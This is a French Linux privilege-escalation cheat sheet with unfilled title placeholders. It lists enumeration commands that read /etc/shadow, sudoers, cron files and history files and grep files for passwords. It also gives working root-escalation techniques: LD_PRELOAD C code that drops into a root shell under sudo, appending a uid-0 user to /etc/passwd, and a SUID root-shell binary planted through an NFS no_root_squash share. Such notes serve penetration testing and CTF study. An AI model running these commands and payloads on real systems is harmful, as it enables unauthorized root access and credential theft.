Title here
Summary here
id # Utilisateur actuels et ses groupes d'appartenance
who || w # Informations sur l'utilisateur actuel
last # Historique des connexions & déconnexions des utilisateurs
cat /etc/passwd | cut -d: -f1 # Liste des utilisateurs
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # Liste des super users
awk -F: '($3 == "0") {print}' /etc/passwd # Liste des super users
cat /etc/sudoers
sudo -l
cat /etc/passwd && cat /etc/group && cat /etc/shadow
ls -alh /var/mail/ # E-mails
ls -ahlR /root/ # Dossier Root
ls -ahlR /home/ # Dossiers utilisateurs
find / -writable -type d 2>/dev/null
find / -perm -u=s -type f 2>/dev/null # SUID
find / -perm -g=s -type f 2>/dev/null # SGID
find / -type f -perm -04000 -ls 2>/dev/null # SUID & SGID
getcap -r / 2> /dev/null # Capabilities
history # Historique des commandes tapées
cat ~/.*_history # Affiche le contenu des fichiers d'historiques
showmount -e 127.0.0.1 # Affiche les montages NFS
mount # Affiche tous les points de montage
cat /etc/fstab
/bin/lsblk # Affiche tous les disques disponibles
cat /etc/issue && cat /etc/*-release
cat /proc/version || uname -a || uname -mrs
rpm -q kernel # Sur de la distro Red Hat
dmesg | grep Linux # Messages du Noyau
ls /boot | grep vmlinuz
cat /etc/profile && cat /etc/bashrc
cat ~/.bash_profile && cat ~/.bashrc && cat ~/.bash_logout
env
set
hostname # Nom de la machine
lsmod # Liste les modules du kernel
/sbin/modinfo <MODULE> # Avoir des infos sur un module
ps aux | grep root
top # Affiche en temps réel les processus en cours
cat /etc/services
ls -alh /usr/bin/ && ls -alh /sbin/
dpkg -l # Toutes les applications + versions sous Debian
rpm -qa # Toutes les applications + versions sous Red Hat
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/ # Pour CentOS
cat /etc/syslog.conf # Syslog = journalisation des messages du système
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
crontab -l # Tâches programmées pour l'utilisateur actuel
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/crontab # Cron = Fonctionnement continu
cat /etc/anacrontab # Anacron = fonctionnement discontinu (anachronique)
cat /etc/at.allow && cat /etc/at.deny
cat /etc/cron.allow && cat /etc/cron.deny
cat /var/spool/cron/crontabs/root
grep "CRON" /var/log/cron.log
ifconfig -a || ip a
route || route -l
cat /etc/network/interfaces
cat /etc/sysconfig/network # Red Hat
Est-ce qu’on peut trouver des informations sur le serveur DNS, DHCP, la passerelle ?
cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname
lsof -i
grep 80 /etc/services
netstat -antup || netstat -antpx || netstat -tulpn
ss -tulnp
chkconfig --list # Sous Red Hat
last
w
arp -e
route || ip route
/sbin/route -nee
grep -Hs iptables /etc/* # Récupère des fichiers en lien avec iptables
cat /etc/iptables-backup
$PATH
find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u
export PATH={PATH}:$PATH
Si Apache2 est présent : apache2 -f /etc/shadow
Si la variable d’environnement LD_PRELOAD est activée
sudo -l
si on a bien env_keep+=LD_PRELOAD
.c
(code ci-dessous)gcc -fPIC -shared -o exploit.so exploit.c -nostartfiles
sudo LD_PRELOAD=/path/exploit.so <BINARY>
Instructions détaillées :
Dynamic linker tricks: Using LD_PRELOAD to cheat, inject features and investigate programs
Code C à compiler :
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
Ajouter un utilisateur root
Possible dans la mesure où on a les droit d’écriture sur /etc/passwd
- Créer le mot de passe : `openssl passwd -1 --salt {SALT} {PASSWORD}`
- Créer une ligne : `{USER}:{PASSWORD}:0:0:root:/root:/bin/bash`
- L’insérer avec un `echo "{LIGNE}" >> /etc/passwd`
NFS Exploitation
/etc/exports
et vérifier si un des partages a l’option no_root_squash
showmount -e {IP}
mount -o rw {IP}:/{SHARE_PATH} {LOCAL_PATH}
chmod +s {PAYLOAD}
int main(){
setgid(0);
setuid(0);
system("/bin/bash");
return 0;
}
grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla